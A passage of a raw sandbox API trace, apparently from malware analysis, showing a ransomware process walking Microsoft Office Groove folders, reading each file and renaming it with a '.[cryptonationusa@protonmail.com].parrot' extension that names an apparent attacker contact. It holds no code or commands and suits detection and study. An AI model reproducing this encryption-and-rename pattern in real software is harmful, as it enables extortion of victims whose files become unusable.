ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x35, lpOverlapped=0x0) returned 1 [0188.311] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.311] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid_disable.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid_disable.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid_disable.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid_disable.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.316] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.316] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0188.317] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.317] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xbb, lpOverlapped=0x0) returned 1 [0188.317] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid_over.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_mid_over.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_mid_over.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.331] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.331] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0188.333] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.333] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x26e, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x26e, lpOverlapped=0x0) returned 1 [0188.333] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.333] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.341] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.341] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0188.342] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.342] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe1, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0xe1, lpOverlapped=0x0) returned 1 [0188.342] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.342] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_disable.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_disable.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_disable.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_disable.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.401] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.401] ReadFile (in: hFile=0x288, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0188.402] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.402] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x41b, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x41b, lpOverlapped=0x0) returned 1 [0188.403] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.403] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_over.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_over.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\button_right_over.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\button_right_over.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.409] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0188.410] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0188.410] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51741df0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0188.410] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0188.410] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0188.410] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8608ee00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8608ee00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x368c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Attachments.jpg", cAlternateFileName="ATTACH~1.JPG")) returned 1 [0188.411] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.411] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0188.412] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.412] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x368c, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x368c, lpOverlapped=0x0) returned 1 [0188.413] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.414] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\Attachments.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\attachments.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\Attachments.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\attachments.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.418] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.418] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0188.420] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.420] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3a68, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x3a68, lpOverlapped=0x0) returned 1 [0188.421] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.421] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BREAK.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\break.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BREAK.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\break.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.427] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.428] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0188.429] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.429] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3004, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x3004, lpOverlapped=0x0) returned 1 [0188.430] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.430] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BUTTON.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\button.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\BUTTON.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\button.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.435] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.436] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0188.490] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.490] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x33d6, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x33d6, lpOverlapped=0x0) returned 1 [0188.492] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.492] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CHECKBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\checkbox.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CHECKBOX.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\checkbox.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.499] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.499] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0188.512] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.513] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x43a3, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x43a3, lpOverlapped=0x0) returned 1 [0188.517] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.518] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\COMBOBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\combobox.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\COMBOBOX.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\combobox.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.524] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.524] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0188.527] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.528] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x36bd, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x36bd, lpOverlapped=0x0) returned 1 [0188.529] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.529] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CONTACT.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\contact.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CONTACT.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\contact.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.534] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.534] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0188.536] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.536] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3d22, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x3d22, lpOverlapped=0x0) returned 1 [0188.537] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.537] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CURRENCY.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\currency.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\CURRENCY.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\currency.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.541] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.542] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0188.556] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.557] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x42af, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x42af, lpOverlapped=0x0) returned 1 [0188.558] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.558] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATE.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\date.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATE.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\date.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.565] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.565] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0188.567] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.567] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4139, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x4139, lpOverlapped=0x0) returned 1 [0188.568] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.568] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATETIME.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\datetime.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DATETIME.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\datetime.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.582] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.582] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0188.594] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.594] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3e01, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x3e01, lpOverlapped=0x0) returned 1 [0188.597] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.598] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DigitalInk.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\digitalink.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\DigitalInk.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\digitalink.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0188.720] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0188.723] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0188.730] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.739] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20e8, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x20e8, lpOverlapped=0x0) returned 1 [0188.753] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0188.755] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0188.757] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0188.758] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0188.758] RtlAllocateHeap 